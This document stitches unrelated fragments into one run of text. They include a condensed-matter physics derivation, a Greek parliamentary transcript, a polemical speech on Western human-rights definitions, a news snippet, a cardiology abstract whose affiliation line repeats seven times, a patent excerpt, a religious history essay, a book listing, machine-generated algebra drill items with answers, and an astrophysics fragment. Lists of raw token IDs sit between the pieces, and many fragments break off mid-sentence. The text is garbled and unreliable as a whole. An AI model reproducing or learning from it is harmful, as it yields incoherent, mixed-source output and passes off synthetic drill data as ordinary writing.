=E^{-,\downarrow}_{c/v}&=& \frac{\lambda}{2}\pm\sqrt{\frac{(\Delta-\lambda)^2}{4}+(\hbar v k)^2} \\ E^{+,\downarrow}_{c/v}=E^{-,\uparrow}_{c/v} &=& -\frac{\lambda}{2}\pm\sqrt{\frac{(\Delta+\lambda)^2}{4}+(\hbar v k)^2}\end{aligned}$$ with $c/v$ for conduction and valence bands, respectively. $k^2=k_x^2+k_y^2$. An important feature is the splitting ($2\lambda\sim$ 0.15 eV) between the valence bands with spin $\uparrow$ and $\downarrow$ orientations. The dispersions are schematically shown in Fig. 1 in the manuscript for $K$ and $K'$ valleys. We are particularly interested in the situation when the Fermi surface intersects two highest valence bands. Their eigen wavefunctions are written as $$\begin{aligned} \|+ \uparrow v\rangle = \left[ \begin{array}{c} 1 \\ 0 \\ \end{array} \right] \otimes \left[ \begin{array}{c} b \\ -a e^{i\varphi} \\ \end{array} \right],\ \|- \downarrow v\rangle = \left[ \begin{array}{c} 0\\ 1\\ \end{array} \right]\otimes\left[ \begin{array}{c} b e^{i\varphi}\\ a \\ \end{array} \right]\nonumber\end{aligned}$$ where $a=\cos\frac{\theta}{2}$, $b=\sin\frac{\theta}{2}$, $ \cos\theta = (\Delta-\lambda)/ (2V+\Delta-\lambda)$, and $V$ measures the Fermi energy from the top of the valence bands. Here and after, we work in the subspace spanned by the basis functions in the order of $\|+$$\uparrow$$ A\rangle $, $\|+$$\uparrow$$ B\rangle$, $\|-$$ \downarrow$$ A\rangle $, $\|-$$ \downarrow$$ B\rangle $. Impurity potentials ------------------- Because spin is a good quantum number in each band, we consider ordinary elastic intravalley scattering in each band, with the potential modeled by $$U^{0}(\mathbf{r})=\sum_{\mathbf{R}} u(\mathbf{r}-\mathbf{R}),$$ where $u(\mathbf{r}-\mathbf{R})$ is the potential of an impurity at position $\mathbf{R}$. For spin-flip scattering that also preserves time-reversal symmetry, it is natural to consider spin-orbit scattering $$\begin{aligned} U^{\mathrm{I}}(\mathbf{r})= \sum_{\mathbf{R}} \nabla u(\mathbf{r}-\mathbf{R})\times \mathbf{k} \cdot \mathbf{s},\end{aligned}$$ where $\nabla$ gives the gradient of $u$. The Pauli matrices $\mathbf{s}$ operate on the spin basis functions from $\{ \|+$$\uparrow$$A\rangle, \|-$$\downarrow$$A\rangle \}$ or from $\{\|+$$\uparrow$$B\rangle, \|-$$\downarrow$$B\rangle\}$. We assume that $u(\mathbf{r}-\mathbf{R})=u^{\mathbf{R}}\delta(\mathbf{r}-\mathbf{R})$, $\langle U(\mathbf{r})\rangle_{\mathrm{imp} }=0$, and $\langle U(\mathbf{r})U(\mathbf{r^{\prime }})\rangle _{\mathrm{imp}}\sim \delta (\mathbf{r}-\mathbf{r}^{\prime })$, where $U=U^0+U^{\mathrm{I}}$ and $\langle...\rangle _{\mathrm{imp}}$ means average over impurity configurations. Although intravalley scattering should be related to long-range potential, the practice by the delta potential is justified by the numerical calculations [@Yan08prl]. Between two plane waves $$\begin{aligned} \|\mathbf{k}\rangle \equiv e^{i\mathbf{k}\cdot \mathbf{r}}/\sqrt{S}, \ \ \|\mathbf{k}'\rangle \equiv e^{i\mathbf{k}‘\cdot \mathbf{r}}/\sqrt{S},\end{aligned}$$ where $S$ is the area, the scattering matrix elements of $U^{0}(\mathbf{r})$ and $U^{\mathrm{I},\mathrm{so}}(\mathbf{r})$ are found as $$\begin{aligned} U^{0}_{\mathbf{k},\mathbf{k
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45133, 33627, 18383, 2599, 13913, 16411, 17946, 9529, 16411, 5776, 9203, 9650, 4992, 24073, 36684 ]	κειμένου να αποφύγουμε να θέσουμε σε αντιπαράθεση τα δυο θέματα, θα μπορούσαμε ίσως να εντάξουμε το θέμα της κατάστασης στην Αλγερία στο σημείο "Ανθρώπινα δικαιώματα", πράγμα το οποίο θα επέτρεπε να συμπεριληφθούν στη συζήτηση όλα τα προτεινόμενα θέματα. Πρόεδρος Βλέπω ότι η πολύ πρόσφορη αυτή πρόταση έχει τη συναίνεση του Σώματός μας. Έτσι, θα ψηφίσουμε για αυτό ως προσθήκη στο σημείο "Ανθρώπινα δικαιώματα". (Το Σώμα παρέχει σύμφωνη γνώμη) Πάντα όσον αφορά την Πέμπτη, έχω λάβει μια αίτηση της Ομάδας των Ευρωπαίων Σοσιαλιστών και της Ομάδας του Ευρωπαϊκού Λαϊκού Κόμματος που αφορά την προσθήκη ενός σημείου με τίτλο "Σεισμός στο Ελ Σαλβαδόρ". Η πρόταση αυτή δεν χρήζει δυστυχώς σχολιασμού, γι' αυτό την θέτω αμέσως σε ψηφοφορία. (Το Σώμα παρέχει σύμφωνη γνώμη επί της προτάσεως)) Seppδnen Κυρία Πρόεδρε, θα ήθελα να πω κάτι ακόμα σχετικά με τη συνεδρίαση της Πέμπτης. Εφιστώ την προσοχή στο πρόγραμμα της συνεδρίασης της Πέμπτης, σύμφωνα με το οποίο η συζήτηση επί των εκθέσεων συνεχίζεται και μετά τις 17.30 μέχρι τις 18.30. Εκείνη την ώρα, προς έκπληξιν, θα εξετασθεί η έκθεση για την ανταγωνιστικότητα της δασοκομικής βιομηχανίας, την οποία εκπόνησα ο ίδιος εξ ονόματος της Επιτροπής Βιομηχανίας, Εξωτερικού Εμπορίου, Έρευνας και Ενέργειας. Κατόπιν αυτού, στις 18.30, ακολουθεί ψηφοφορία επί της εν λόγω έκθεσης, η οποία αφορά τις θέσεις εργασίας τεσσάρων εκατομμυρίων ευρωπαίων εργαζομένων και την ανταγωνιστικότητα αυτού του βιομηχανικού τομέα, καθώς και των συναφών του βιομηχανιών. Κατά τη γνώμη μου, το πρόγραμμα της συνεδρίασης της Πέμπτης έχει τώρα οδηγηθεί σε πάρα πολύ μεγάλα προβλήματα, λόγω του ότι καταργήθηκαν οι συνεδριάσεις της Παρασκευής, εάν τελικά αναγκαστούμε να συζητήσουμε στις 17.30 επί μιας έκθεσης που αφορά τις θέσεις εργασίας τεσσάρων εκατομμυρίων ανθρώπων. Γνωρίζω ότι στις ψηφοφορίες παραμένουν το πολύ μερικές δεκάδες άτομα. Θα είναι μειωτικό του κύρους του Κοινοβουλίου να λάβουμε θέση για μια τόσο ευρείας εμβέλειας έκθεση με μια τόσο μικρή ομάδα βουλευτών. Γι' αυτόν τον λόγο, θα προτιμούσα να ψηφίζαμε στη συνεδρίαση της Πέμπτης μόνο για τα επείγοντα θέματα και να μεταθέταμε τις ψηφοφορίες που αφορούν αυτές καθαυτές τις εκθέσεις από το απόγευμα της Πέμπτης στην ημερήσια διάταξη της επόμενης περιόδου συνόδου στις Βρυξέλλες. Πρόεδρος Ευχαριστώ, κύριε Seppδnen. Σημειώνω ευχαρίστως την παρατήρησή σας. Η εμπειρία έχει δείξει ότι η παρουσία των βουλευτών κατά την ώρα των ψηφοφοριών το απόγευμα της Πέμπτης ήταν πάντοτε σημαντική, πράγμα που καθιστά αβάσιμους τους φόβους που μόλις εκφράσατε. Επιθυμώ ολόψυχα, βεβαίως, να συνεχίσουμε να ενεργούμε κατ' αυτόν τον τρόπο. Συνεδριάσεις της 31ης Ιανουαρίου και 1ης Φεβρουαρίου στις Βρυξέλλες Πρόεδρος. Για την περίοδο συνόδου της 31ης Ιανουαρίου και 1ης Φεβρουαρίου στις Βρυξέλλες δεν έχει προταθεί καμία τροποποίηση. Η διάταξη των εργασιών καθορίζεται κατ' αυτόν τον τρόπο. Bethell Κυρία Πρόεδρε, επί της διαδικασίας. Εφιστώ την προσοχή σας στο γεγονός ότι ανησυχητικά συμβάντα έλαβαν χώρα στην Μόσχα το τελευταίο 24ωρο, με κύριο στόχο τα ανεξάρτητα μέσα μαζικής ενημέρωσης και την ελευθερία του Τύπου. Ο όμιλος Media-Most διευθύνει την ανεξάρτητη τηλεόραση της Ρωσίας και διαθέτει επίσης αρκετούς ραδιοφωνικούς σταθμούς και ανεξάρτητα περιοδικά. Ο κ. Andrey Tsimaylo, αντιπρόεδρος της Media-Most, συνελήφθη χθες και υπεβλήθη σε πεντάωρη ανάκριση, και στη συνέχεια ο κ. Anton Titov, ο οικονομικός διευθυντής της ανεξάρτητης τηλεόρασης, συνελήφθη από την ασφάλεια που εισέβαλε στο σπίτι της μητέρας του, σπάζοντας την πόρτα. Επίσης αρκετά κατώτερα στελέχη της αν
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7441, 273, 6658, 50248, 778, 320, 4217, 281, 2939, 253, 5900, 410, 1148, 800, 3607, 273, 3270, 41537, 3134, 1971, 275, 10781, 561 ]	reduction of the number of people living in poverty in the world and capitalist countries for 22%.I also want to explain why the western conception of human right is absolutely ridiculous and a fraud. It reduces the question of human rights to whether you have a few formal political rights or not. Let me give you an example. If you are in Africa, starving to death, and I’m afraid that in Africa there are people who face death by starvation, provided you are able to use Facebook you meet the criteria of a ‘human right’ by the Western criteria – but the fact that you are dying of starvation is not counted in the criteria of ‘human rights’! But for virtually all people, and all sensible ones, the question of whether they starve to death is much more important than the question of whether they can use Facebook or not. Let’s take another example – the question of the comparison between China and India. Again on the latest data a Chinese woman lives on average eight years longer than does an Indian woman. Chinese literacy amongst women is 94% whereas in India, literacy among women is only 63%. That means almost forty percent of Indian women can’t read or write. Over 700 million people in India don’t have a access to a toilet – an issue which affects all such people but women even more so. But according to the Western definition if you can use Facebook you have human rights but if you don’t have a toilet that is irrelevant to your human rights. But for the overwhelming majority of people who don’t have one to have a toilet is a very much more fundamental issue of human rights than being able to use Facebook. Whose human rights are really better? Are the human right of an Indian woman – an Indian woman who lives eight years less than a Chinese woman, who has an almost forty percent chance of not reading or writing, and doesn’t have a toilet – better than those of a Chinese woman because she happens to live in a parliamentary republic? Any definition which claims that result, which is what the Western one does, is absolutely absurd. The human rights of a Chinese woman are clearly much better than the human rights of an Indian woman – and I say that with regret because I would like the human rights of an Indian woman to be as good as those of a Chinese woman and I hope they will become so in the future.Connect with Us Snoqualmie Valley Hospital opposes Swedish in Issaquah Valley residents may not pay property tax for the planned 175-bed Swedish Medical Center hospital in Issaquah. But Snoqualmie Valley Hospital administrator Rodger McCollum, who has appealed the state's approval of the big new Swedish facility in Issaquah, said that the Valley would pay for it in subtler ways. There is a clear demand for additional medical services on the Eastside, said Kevin Brown, chief strategic officer for Swedish Medical Center. "We have always felt there was significant need for a new hospital in the greater Issaquah area," Brown stated when the new Swedish hospital was announced in June. For the complete story, subscribe to the Valley Record, (425) 888-2311 We encourage an open exchange of ideas on this story's topic, but we ask you to follow our guidelines for respecting community standards. Personal attacks, inappropriate language, and off-topic comments may be removed, and comment privileges revoked, per our Terms of Use. Please see our FAQ if you have questions or concerns about using Facebook to comment.From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. From the Division of Cardiovascular Pathophysiology (B.L., A.G., J.D.), School of Medicine, University of Navarra, Pamplona, Spain; Departments of Cardiology and Cardiovascular Surgery (J.D.) and Clinical Chemistry (N.V.), University Clinic, University of Navarra, Pamplona, Spain; Division of Cardiology (R.Q.), Ntra Sra de Aránzazu Hospital, San Sebastian, Spain; and Division of Hemodynamics (M.L., J.L.M.U.), Guipuzcoa Policlinics, San Sebastian, Spain. Jump to Abstract Background We investigated whether serum concentration of carboxy-terminal propeptide of procollagen type I (PIP), a marker of collagen type I synthesis, can be used to assess the ability of antihypertensive treatment to regress myocardial fibrosis in hypertensive patients. Methods and Results The study was performed in 37 patients with essential hypertension and hypertensive heart disease. After randomization, 21 patients were assigned to losartan and 16 patients to amlodipine treatment. At baseline and after 12 months, right septal endomyocardial biopsies were performed to quantify collagen volume fraction (CVF) on picrosirius red–stained sections with an automated image-analysis system. Serum PIP was measured by specific radioimmunoassay. Nineteen patients in the losartan group and 11 in the amlodipine group finished the study. Time-course changes in blood pressure during treatment were similar in the 2 groups of patients. In losartan-treated patients, CVF decreased from 5.65±2.03% to 3.96±1.46% (P<0.01) and PIP from 127±30 to 99±26 μg/L (P<0.01). Neither CVF or PIP changed significantly in amlodipine-treated patients. CVF was directly correlated with PIP (r=0.44, P<0.001) in all hypertensives before and after treatment. Conclusions These findings suggest that the ability of antihypertensive treatment to regress fibrosis in hypertensives with biopsy-proven myocardial fibrosis is independent of its antihypertensive efficacy. Our data also suggest that blockade of the angiotensin II type 1 receptor is associated with inhibition of collagen type I synthesis and regression of myocardial fibrosis in hypertensives. Thus, determination of serum PIP may be useful to assess the cardioreparative properties of antihypertensive treatment in hypertens
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7717, 7225, 8439, 187, 187, 9739, 1552, 310, 247, 4092, 1984, 670, 247, 17178, 2523, 13, 533, 308, 602, 26091, 281, 1056, 352, 271, 3477, 1239, 342, 247, 5248, 273, 24152 ]	ion source that includes dimensional stability. It is yet another object of this invention to replace point-to-point corona discharge by an ion source that includes simplicity and ruggedness of design. It is yet a further object of this invention to replace point-to-point corona discharge by an ion source that includes extended source lifetime. More objects of the invention will become apparent to professionals in the chemical and biological defense, law enforcement, health monitoring, disease control, industrial safety and hygiene, environmental, chemical, metallurgical, and related areas following perusal of the complete specificationTry and Fail, but do not Fail to Try! The Countdown begins….. Muharram is the first month of the Islamic calendar, during which Muslims commemorate the martyrdom of Imam Husayn(as), grandson of the Prophet Muhammad(pbuh). Husayn(as) was born on the 3rd of Sha’ban, in the fourth year of Hijrah (625 CE). His grandfather, Muhammad(pbuh ), named him ‘Husayn’, which means ‘one of beautiful character.’ The Holy Quran refers to the Prophet Muhammad(pbuh), his daughter Fatimah(as), her husband ′Ali(as), and their two sons Hasan(as) and Husayn(as), in the Verse, “Indeed, Allah wants to take away pollution from you, O, People of the House, and purify you [by a special kind of] purification.” The Prophet indicated many times that the people of his House were the most qualified for leadership. Referring to Hasan(as) and Husayn(as), he said, “These two are my sons. They are two Imams (leaders).” Historical Background: During the lifetime of the Prophet, Abu Sufyan, his family, and other influential families of Mecca tried to stop the Prophet in any way they could. They even attempted to murder him, but they failed. Later, after the Prophet’s death, Abu Sufyan’s son—Muawiyah claimed to be the leader of the Islamic Nation. ′Ali(as), the cousin of the Prophet and the true leader of Muslims after the Prophet’s death, defended the Islamic Nation against Muawiyah who formed an alliance with the Byzantine Empire and waged war from his capital, Damascus. Although ′Ali(as) challenged Muawiyah to settle their dispute one‑on‑one rather than with armies, Muawiyah always refused. Eventually, ′Ali(as) was murdered during his prayers. To attempt justice and peace, Imam Hasan(as), the true leader of Muslims after ′Ali’s(as) death, signed a peace treaty with Muawiyah on the 5th of Jumada I, in the year 41 Hijrah (661 CE). The following is a translation of the original treaty: “In the name of God, the Most Kind, the Most Merciful. The following shows how Hasan Ibn ′Ali Ibn Abi Talib(as) made peace with Muawiyah Ibn Abu Sufyan. He made peace with him on the condition that he takes over the command of the Muslims, rule them according to the Book of God and the tradition of His Prophet; that Muawiyah would not pledge the Caliphate to anyone; that the people would have peace wherever they live in the land of God, whether in Syria, the Yemen, Iraq or the Hijaz; that ′Ali’s(as) companions and his followers, their persons, their money, their wives, and their children would be safe wherever they were; that Muawiyah pledges this before God; that he would harbor no evil or harmful schemes, whether in secret or in the open, towards Hasan Ibn ′Ali(as), his brother Husayn(as) or any of the People of the House of the Messenger of God; that he would not terrorize them in any respect.” However, immediately after signing the treaty, Muawiyah said, “I trample this treaty under my feet!” He announced that he is creating the Umayyad dynasty and that when he dies, his son Yazid would succeed him as a king. This goes against Islamic principles of election and justice in leadership in accordance with the Holy Quran and the tradition of the Prophet. Even though Muawiyah broke his agreement in the treaty and was going against Islamic principles, he warned his son, Yazid, not to kill Imam Husayn(as). Although Yazid wanted to rule the Islamic Nation and perpetuate his father’s Umayyad dynasty, he chose to ignore his father’s advice about Husayn(as). Muawiyah and his Umayyad dynasty operated by deception, bribery, bloody violence, and fear, and that is how his son Yazid forced the people to obey him as king. Imam Husayn(as): After examining all of the facts involved, it becomes very clear that Imam Husayn(as) was fully aware of his situation. Because he was the grandson of Prophet Muhammad(pbuh and the spiritual leader of the community, and Yazid was a drunkard, womanizer, and cold‑blooded murderer, the Imam had no choice but to stand up to the unjust Umayyad Dynasty. The Imam even mentioned that if everyone were to pay allegiance to Yazid, “Say goodbye to Islam.” There can be no doubt that the Imam knew that if he had paid allegiance to a drunkard who was not qualified for leadership, the Islamic Nation would have fallen apart. That is why the Imam made it very clear to everyone that his mission was to save the pure principles of Islam and fight against the evil people who try to destroy its purity. The Imam’s acute awareness of the political and social situation at that time is clear from his many sayings to the people and his sermons. Many times people tried to convince the Imam not to go to Kufah, but he always refused, even though he knew he would be killed. Also, on several occasions when the Imam’s camp was faced with a military confrontation, Imam Husayn(as) refused the requests of his people to initiate a battle and kill the enemy. The Imam refused and chose to avoid bloodshed by any means possible. Furthermore, the Imam repeatedly insisted upon his followers to leave and save their own lives. So, we can see that the Imam was not being manipulated by forces out of his control. As a matter of fact, he was conscious of every decision he made and he always thought carefully before making any decision, because his main concern was to preserve the pure spirituality of the Islamic Nation. In short, the Imam knew that the people did not fully understand how evil Yazid was, and he knew that the only way to awaken the people was by showing them how far Yazid would go to stay in power that he would even spill the blood of the grandson of Prophet Muhammad(pbuh). In fact, the martyrdom of Imam Husayn(as) marked the beginning of the end of the Umayyad dynasty. “The progress of Islam does not depend on the use of sword, but on the supreme sacrife of Imam Husayn(as) and I learnt from Imam Husayn(as) how to achieve victory whilst being oppressed”Here is a first atempt at a Carrie Stevens streamer pattern I took from her book and tyed according to instructions.. Basically prepareing the wings in advance by glueing the layers on before putting them on the fly.Whatever It Takes Whatever It Takes Geoffrey Canada's Quest to Change Harlem and Amer EAN: 9780547247960 Release Date: 9/10/2009 LIST PRICE: $14.95 (you save $1.96) $12.99 New $7.99 Pre-owned This item is not available at this time. In stock - will ship Friday Add To Basket SHARE What would it take? That was the question that Geoffrey Canada found himself asking. What would it take to change the lives of poor childrennot one by one, through heroic interventions and occasional miracles, but in big numbers, and in a way that could be replicated nationwide? The question led him to create the Harlem Children’s Zone, a ninety-seven-block laboratory in central Harlem where he is testing new and sometimes controversial ideas about poverty in America. His conclusion: if you want poor kids to be able to compete with their middle-class peers, you need to change everything in their livestheir schools, their neighborhoods, even the child-rearing practices of their parents. Whatever It Takes is a tour de force of reporting, an inspired portrait not only of Geoffrey Canada but of the parents and children in Harlem who are struggling to better their lives, often against great odds. Carefully researched and deeply affecting, this is a dispatch from inside the most daring and potentially transformative social experiment of our time. ""When it comes to an introduction about poverty and parenting in urban America, you could hardly do better than [WHATEVER IT TAKES].""---New York Times Book Review ""This is a serious book about a pressing issue, but Tough manages to make it an easy read with a cast of sympathetic
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77, 428, 298, 559, 608, 11, 77, 10, 559, 470, 11, 77, 424, 19, 559, 577, 11, 77, 424, 19, 428, 608, 11, 77, 424, 19, 428, 721, 11, 77, 424, 19, 428, 8676, 11, 77, 559, 8676, 11, 77, 559, 374, 11, 77, 424, 19, 428, 577, 11, 77, 424, 19, 559, 298, 424, 19, 275, 253, 830, 305, 559, 465, 11, 77, 559, 260, 11, 77, 424, 19, 285, 1918, 260, 15, 187, 14, 21, 187, 20300, 3383, 81, 428, 337, 428, 337, 559, 337, 7672, 25, 428, 495, 559, 5922, 10, 428, 495, 11, 81, 559, 374, 11, 81, 559, 495, 11, 81, 281, 253, 830, 1269, 559, 480, 11, 81, 285, 1918, 1269, 15, 187, 14, 1839, 187, 20300, 21669, 11, 87, 424, 19, 559, 3925, 11, 87, 424, 19, 559, 3285, 11, 87, 424, 19, 281, 253, 830, 1269, 11, 87, 559, 465, 11, 87, 424, 19, 559, 1484, 285, 1918, 465, 15, 187, 18390, 187, 20300, 428, 19, 559, 470, 428, 33900, 2222, 11, 68, 559, 33956, 1731, 11, 68, 281, 253, 830, 465, 559, 269, 11, 68, 285, 1918 ]	Rearrange 0t4 - 6t*3 - 4t3 - 89 + 87 + t4 + t to the form ht4 + bt*2 + g + dt*3 + ut and give g. -2 Rearrange -2 + 6v - 2v*2 + 5v - 6v + 43v*3 - 46v*3 to pv + uv3 + x + cv*2 and give p. 5 Express (-5p - 3p - p)(20p - 48p - 3p + (4 + 0 - 6)(6p - 4p - p)) in the form rp2 + sp + t and give r. 297 Rearrange 316 + 2633f - 316 to xf + v and give x. 2633 Express (-4 + 4 - 3s)(-345 - 239 + 448) in the form us + t and give u. 408 Express -46 + 18 - 5 + v2 - 2v*3 + 11v*2 + 14 in the form t + sv*2 + rv*3 + zv and give s. 12 Express (0f - 2f*2 + 0f)(188 - 134 - 3722f - 54) as bf2 + wf*3 + lf + r and give w. 7444 Express (-15q + 5q + 11q + 6)(-3 + 6 + 2 + (2 + 3 - 3)(-1 + 5 - 3) - 1 + 2 - 2 - 4 + 4 - 2) as s + kq and give k. 4 Rearrange (j - 26j - 4j + 2)(10 + 0 - 1) to dj + p and give p. 18 Express 8t2 - 10t - t*2 - 9t*2 - 1 - 3t in the form h + jt + kt*2 and give j. -13 Express (2 - 2 + 4f)(1 + 257f + 4 - 5) in the form j + df + xf*2 and give j. 0 Express -47h - 123h - 37h + 21h - 89h as z + nh and give n. -275 Express (1 + 3 + 0)(3 - 3 + u) + 1 + 13u + 9u - 24u as tu + a and give a. 1 Rearrange 16 - 16 + 58d + 10d + 26 - 26 - 2d - 4d + 5d + (-3d - 2d + 6d)(0 + 0 - 1) to l + vd and give v. 66 Rearrange -2 + 12t4 + t - 23t4 - t3 + 8t4 + 2t3 - t2 to the form ot2 + yt*3 + m + st + qt4 and give q. -3 Express (-2p + 627 - 627)(-5p*2 + 3p*2 - 4p*2)(0p + 0p + p) as rp + up*3 + m + np*4 + fp*2 and give n. 12 Express (-4p + 0p + 2p)(2 + 1 - 2)(36 + 5 - 4)(-4p + 4p - 2p) as ip2 + l + fp and give i. 148 Rearrange -9u2 - 2u + 19u2 - 29u - 12u2 to l + xu + gu2 and give x. -31 Rearrange 5 - 5 - u2 + 3u*2 + 36u*2 to the form iu + yu2 + h and give h. 0 Rearrange (-2x + x + 3 + 1)(0x + 2x - 4x)(19x - 2 + 2) to dx + ox*2 + cx3 + p and give c. 38 Rearrange p3 + 2 + 15p3 + 125p*3 + 0 to the form vp*3 + j + fp*2 + np and give v. 141 Rearrange -3 - 8 + 16 - 7 - 879f2 to the form uf + bf2 + r and give r. -2 Express 1 + 3 + 17w - 4 + 98w in the form pw + h and give p. 115 Express 119d4 - 2d - 379d4 + 13d*2 - 14d*2 as td*2 + wd*3 + rd + x + ad4 and give a. -260 Express 16 + 2a*4 + 19 + 0a4 + 22 - 60 - a2 + 10a3 in the form ra*4 + ia + ta2 + qa*3 + p and give q. 10 Rearrange -34i - 127i + 21i - 111i - 211i to the form pi + s and give p. -462 Rearrange -35 - g - 15 + 8 to m + og and give o. -1 Express 2b2 + b2 - b2 + (546b - 969b + 2 + 547b)(3b + 0b - 2b) as w + pb2 + tb and give p. 126 Rearrange ((4 - 4 + i)(2i - i + 0i) + 2801i*2 + i - 3367i*2 - i)(3 - 4 + 0) to the form a + ji + ui*2 and give u. 565 Rearrange -18s*3 + 9s*3 - 2s - s*2 + 0 - 2s*3 + 3 to ps*3 + os + j + gs2 and give p. -11 Rearrange -110c + 922c + 462c to the form ac + i and give a. 1274 Rearrange (-t + 1 - 1 + (2 + 11 - 8)(-t + 4t - 2t)(1 - 5 + 5))(92 - 95t - 92) to y + kt*2 + ft and give k. -380 Express 6 - j*4 + 2j*3 + 18 - 24 - 55j*2 + 184j*2 as cj + rj3 + y + oj*2 + xj*4 and give o. 129 Rearrange (-j - 3j + 3j)(0j2 - 3j*2 + 2j*2) + (188j*2 - 140j*2 + 202j*2)(-1 + 1 - 2j) to the form mj + fj2 + k + gj*3 and give g. -499 Rearrange 316h*2 + 306h*2 + 6h*2 + 83h*2 - 173h*2 to c + dh + yh2 and give y. 538 Express 2 - 15d*3 + 8d*3 + 5d*3 as pd + g + ld3 + qd*2 and give g. 2 Express (-3 + 6 + 1)(-84 + 80 - 4o - o) in the form mo + x and give x. -16 Express (2l - 5l + 5l)(-2l - l + 5l) + 0l2 + 4l*2 - 5l*2 - 6l*2 - 53l + 53l + 2l*2 - 4l2 + l2 in the form g + kl + cl*2 and give c. -4 Rearrange (-p - 1 - 1 + 1)(8 - 3 + 33) - 3p + 2p + 3p to the form x + jp and give x. -38 Rearrange 142v2 + 60v*2 + 29v*2 to the form xv + kv2 + u and give k. 231 Rearrange -2 + 0 - 39595c + 39026c to the form k + fc and give
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1458, 13, 374, 12434, 401, 3298, 274, 13, 443, 15, 51, 904, 285, 25017, 266, 13, 308, 15, 5307, 13, 1157, 11130, 13, 4791, 1630, 401, 14134, 41971, 13, 329, 15, 55, 15, 6585, 13, 275, 773, 29140, 6053, 79, 8947, 6235, 79, 1103, 7521, 322, 15, 52, 15, 44842, 285, 530, 15, 388, 33317, 13, 35779, 904, 329, 3123, 11204, 15, 24603, 15, 1621, 15, 46472, 313, 20604, 27, 2448, 6516, 273, 17709, 582, 3387, 401, 36155, 13, 1503, 904, 285, 45084, 13, 322, 15, 37, 15, 5307, 13, 1157, 9654, 13, 470, 1508, 4699, 11414, 386, 13, 714, 15, 34, 904, 285, 1780, 790, 13, 500, 15, 9354, 13, 1157, 35543, 13, 20504, 12146, 561, 2146, 13, 378, 15, 46, 904, 7335, 1351, 13, 367, 15, 48, 904, 21979, 34633, 71, 13, 444, 15, 55, 904, 285, 657, 4914, 384, 13, 443, 15, 6585, 13, 1157, 47534, 13, 898, 3571, 12146, 561, 2146, 13, 378, 15, 46, 904, 1780, 790, 13, 500, 904, 30012, 2059, 13, 657, 15, 46, 904, 3921, 292, 355, 13663, 6752, 13, 1157, 49545, 13, 854, 3141, 313, 24157, 14, 545, 16, 520, 740, 27087, 10, 443, 29415, 6121, 13, 657, 15, 45, 904, 285, 5619, 18540, 1832, 76, 2886, 13, 322, 15, 42, 15, 17926, 13, 380, 38356, 273, 18084, 6185, 416, 698, 313, 4257, 2816, 27, 49, 1326, 19451, 582, 28131, 14, 28899, 7284, 38938, 13, 367, 904, 285, 28798, 13, 411, 15, 41, 15, 16648, 13, 1157, 21043, 13, 854, 2090, 13729, 11889, 13, 611, 15, 19213, 13, 1157, 1668, 13, 818, 2385, 10664, 11416, 13, 330, 15, 43, 904, 285, 4922, 74, 13, 611, 15, 6752, 13, 1157, 608, 3141, 13, 418, 14380, 313, 24157, 14, 545, 16, 9992, 1976, 2270, 10, 14449, 5282, 13, 401, 904, 285, 11826, 2211, 13, 399, 15, 6752, 13, 1720, 45276, 15, 1294, 72, 15, 4111, 904, 7251, 13, 884, 1099, 313, 24157, 14, 545, 16, 9992, 1857, 1630, 10 ]	left(\frac{\Omega R}{c} \right)^2 \alpha^2, \label{eq:Rmode_loss}$$ where $R$ is the stellar radius. The same calculation as in §\[sec:spectrum\], with R mode losses replacing those due to a static quadrupole moment, leads to $$\frac{d N_i}{d\gamma} = \frac{d N_i}{dt}\left(-\frac{dt}{d\Omega}\right)mc^2 \frac{d\Omega}{dE} = \frac{9}{4} \frac{c^2 I}{Z e \mu \gamma} \left[ 1 + \left(\frac{\gamma}{\gamma_g}\right)^2 \right]^{-1}, \label{eq:Rmode-diff-inj-rate}$$ replacing expression (\[eq:diff-inj-rate\]), [assuming]{} $\alpha =$ constant during the spindown, as in the model of Owen [et al.]{}. In (\[eq:Rmode-diff-inj-rate\]), the characteristic energy above which gravitational wave losses affect the spectrum now is $$E_g = m_ic^2 \gamma_g = \frac{Ze\eta \mu}{c^2} \left(\frac{104}{384} \frac{\mu^2 c^4}{GI^2 R^2 